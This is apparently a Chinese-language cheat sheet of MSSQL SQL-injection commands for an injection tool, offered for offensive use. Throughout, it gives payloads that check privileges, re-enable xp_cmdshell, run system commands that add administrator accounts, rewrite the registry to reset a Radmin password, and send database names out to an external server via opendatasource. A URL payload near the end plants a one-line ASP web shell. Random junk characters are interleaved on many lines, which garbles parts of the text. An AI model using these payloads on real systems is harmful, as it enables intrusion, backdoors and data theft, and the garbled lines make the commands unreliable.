阿D常用的一些注入命令
1 E6 x2 Y; `( _. s8 f) A//看看是什么权限的8 [0 R- a% y' p9 q8 S
and 1=(Select IS_MEMBER('db_owner'))
6 A+ O, ?! [& j6 xAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
3 z4 f" C: A+ `2 ?6 K* D7 l. p. R
//检测是否有读取某数据库的权限
$ H" e2 l$ k5 ?+ w+ ^5 p" jand 1= (Select HAS_DBACCESS('master')) Z" c+ w3 v: m* L9 N5 z; M, z: o
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
0 P# W/ E& I: C d9 |0 M
6 w& q$ t" K; d) y8 A; C5 E# @% G. n; y2 P$ Y8 |
数字类型9 O1 E, X' G+ y5 `3 ]2 |
and char(124)%2Buser%2Bchar(124)=0
0 [0 |9 `* q: \- Y
f# w! G( g* H; ?$ U* q! G字符类型
! Z" K7 c7 L: z) r- h! K: J- x' and char(124)%2Buser%2Bchar(124)=0 and ''='* T8 `6 s- b" Z+ ^0 y4 ~
9 d ~" Y9 M8 p1 `: N$ M+ y+ K搜索类型
8 r7 k" F, y9 G4 J1 l& I3 g' and char(124)%2Buser%2Bchar(124)=0 and '%'='
$ T E% u( g; `! C# j: \/ `3 N# h/ L6 F% [6 x# r) c0 v
爆用户名
$ F$ U" t# r& S. Band user>0
/ h8 ^" b; i5 C' and user>0 and ''='
& h' y- v( l5 f7 A/ F( m1 F8 e9 l& p5 l7 Z( F. P
检测是否为SA权限7 Y' n! r8 X2 {/ f( ?3 y
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--: r5 a9 `% E2 Y6 ~, K
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
! l ?7 o N% }( V# B) s [
( F9 U$ i& l. |4 E3 A1 F" W检测是不是MSSQL数据库: y$ E$ @, w/ i& o# e
and exists (select * from sysobjects);--
+ W1 B! g, a) e( d- U* s9 s/ q
. \ l8 G! Z- d& @" f检测是否支持多行
# U0 g3 F$ n0 @7 Y;declare @d int;--
* _& B9 j- g6 Z. P8 s" ^0 w
1 `' _) C+ ^" y I恢复 xp_cmdshell5 N& W0 g( x8 y& V- f
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
& G8 P0 L9 }2 H) y/ h
* B0 `) ]" @% e/ g8 S$ Q/ ~: a0 V2 S# W/ [
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
% {$ D+ k$ u! i2 d8 m' ]3 h. R4 [( p/ |! p0 i4 S* k
//-----------------------
! k+ h1 T$ X$ \# k8 _// 执行命令
1 y7 X. U8 M) N* o//-----------------------
0 z' I3 F# A5 j4 T8 x, B: { Z首先开启沙盘模式:( c) [ v6 A; ~+ R: `0 n f) Y2 y9 h
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
; q8 o, g+ C! j N; ]1 ~
: f( Y* u# p. J+ y& D然后利用jet.oledb执行系统命令
" G9 `' _& ^, I& _select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
, v3 f* n4 a1 N7 x1 L3 r
+ p3 p) C/ A6 z4 U9 z1 L( }. U) r执行命令
( ^- B5 F$ w* d+ _+ A" G;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
; I! r3 W+ z: I7 `
6 Y2 W" a' d# O$ O4 yEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'. F$ r- ?; r+ H' }6 W
! O* J8 f A& }9 L/ {
判断xp_cmdshell扩展存储过程是否存在:- D$ \8 ~' _5 ?& i- n8 [9 n4 |
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
+ e+ F- @1 y. t3 y0 p
- o, }- l6 q4 t写注册表
: A: T- _! t! a/ }exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! {( S/ E' @" e6 S; q
- f8 q! T2 d/ ~" q) @& u. GREG_SZ
6 ^+ }3 @: Z+ j
. b3 n3 {/ O; J# `: G8 V* ]读注册表& |7 Y! J. f. m: W# j3 P
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
" j6 O) g0 B8 e5 g0 g
! ]. O+ g5 c. K! T+ F3 [读取目录内容
" w& D& S. I# X, t$ T1 ^exec master..xp_dirtree 'c:\winnt\system32\',1,1- y3 h) v- |/ d3 ]. X9 `
* n% H( U# V+ U& V! q* H' h
) P) v9 {$ B3 u+ I8 v数据库备份" C. t2 i4 F# [4 X+ u
backup database pubs to disk = 'c:\123.bak'9 o) z, x' |# R+ t! T6 {9 y( X
& v/ U: F2 W2 Q! F" Q, i//爆出长度0 u! p9 I n C* J- Y7 z0 P* q
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--4 q; }" _7 m% ~/ {
1 B( s" M: ^; |' ^1 e$ ?
. f3 r: j1 F* O: @. I" Q: ?; n) @' w6 P
更改sa口令方法:用sql综合利用工具连接后,执行命令:! o; j8 b% n0 y9 [( q
exec sp_password NULL,'新密码','sa'
" l! d1 K' Z; s0 e6 ]. g
, Z4 ?- t9 S9 g. K/ |) l! @0 R. z添加和删除一个SA权限的用户test:
/ H7 [5 w! C A, J$ j$ hexec master.dbo.sp_addlogin test,ptlove
2 V/ r9 I/ a* l% w$ vexec master.dbo.sp_addsrvrolemember test,sysadmin
% B8 F x% F3 F5 e) W5 _, {# |8 |: M$ p' [9 t/ g
删除扩展存储过过程xp_cmdshell的语句: 8 k- N$ F% }1 c7 Z2 [
exec sp_dropextendedproc 'xp_cmdshell'
. q4 g, E, c/ l0 v$ G8 X4 H# Z- g6 M& ?
添加扩展存储过过程
0 J( c: i, h9 N* p2 M0 k* LEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' : V/ x4 @& D+ E5 V' `
GRANT exec On xp_proxiedadata TO public $ z! ~0 H8 n" N) A7 G: g8 Q% C
, N2 n! D$ \1 U' v
9 H4 E# E$ a- i
停掉或激活某个服务。
$ c5 W# |; E0 @+ d
% g- z# w7 s- W+ B6 }! ~exec master..xp_servicecontrol 'stop','schedule'0 w( ]; T. [4 \3 L' @
exec master..xp_servicecontrol 'start','schedule'. x+ d5 f* k1 Q9 v# s2 w; ~# I
1 s7 o# C; V H8 b& a
dbo.xp_subdirs
* Q2 v k, x8 R; z5 v) _8 o
: o5 @6 K9 o- m5 C5 K只列某个目录下的子目录。
. I4 `2 b7 j* J* X+ i8 x( b% |xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 S3 ~; S- d: J9 d, z
6 ?% k5 E8 x; [/ H
dbo.xp_makecab/ B5 G; p8 a E
3 t/ }( @8 \# V/ d+ O1 c
将目标多个档案压缩到某个目标档案之内。( I5 q* D% T0 M% D5 y1 i0 c8 |
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
9 T% c: t; j& ?2 R6 ]" \$ v& i- b
dbo.xp_makecab
, Z1 [" E. r' s$ k'c:\test.cab','mszip',1," A- F; Z( R; M. b
'C:\Inetpub\wwwroot\SQLInject\login.asp'," s- ]. L! [* w1 E& F
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
8 {& f( {/ h5 B4 d5 ?1 O4 F, }5 c7 |+ n" l
xp_terminate_process
R& P G3 d" v: Q7 t1 N
# p1 P! w$ _* ^8 p* B7 x停掉某个执行中的程序,但赋予的参数是 Process ID。, ?/ L$ _, O% n8 w/ u2 }
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
' z* Z* W/ x5 o# x B5 ]0 f: }. S4 |9 {0 V& a8 E
xp_terminate_process 2484
; d) M9 [& z v) r: i* P! q) k. r- z7 o) R a B+ l
xp_unpackcab
) a. s1 {& B! }( H5 U, V" H0 P) M# t2 y, G
解开压缩档。
8 Q$ Y8 z3 h/ a) ]# O5 G( }5 Q' z9 C. {% R b$ X8 ]% a
xp_unpackcab 'c:\test.cab','c:\temp',17 Q1 F/ }. @$ x+ _7 a9 F) }
; `' Q% Q1 W! V& P5 k6 O* e9 j- O
6 h- q5 B; v& r& c& b" H& k某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
. H* Z" c; f ~9 O( p" F1 Q3 L' }4 s% J5 G0 h8 R+ U$ Z! O0 ^
create database lcx;- }7 _" E* s6 \2 t7 ]
Create TABLE ku(name nvarchar(256) null);
" a4 g7 U/ o* vCreate TABLE biao(id int NULL,name nvarchar(256) null);/ A# J, ?, V& J F& u4 c6 _
4 D* P: o. a" M1 B* L f
//得到数据库名! X- g, ~( H" r* B
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
1 R# N$ J2 K; e$ {/ g/ O. U% s: a5 T, ~. f
& q5 n' I, h) M
//在Master中创建表,看看权限怎样1 I$ S) G0 `; m
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
7 r0 j, W/ z/ ]9 U2 q0 e6 @: o% {, J5 |; b; r }: @2 c
用 sp_makewebtask直接在web目录里写入一句话马:9 P6 y. d4 r& D$ r5 A8 b }$ e% B1 v
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- N4 r8 q |2 }' w' L [
+ l+ G% d) T; [9 V8 Z# j m//更新表内容8 x# {8 R0 e) j* ^
Update films SET kind = 'Dramatic' Where id = 123/ F, K' x8 s1 T3 R0 g" D9 @, i# Y
+ ]: P/ d$ s! q4 q9 f, F//删除内容
, F9 l2 I6 a0 `delete from table_name where Stockid = 3 |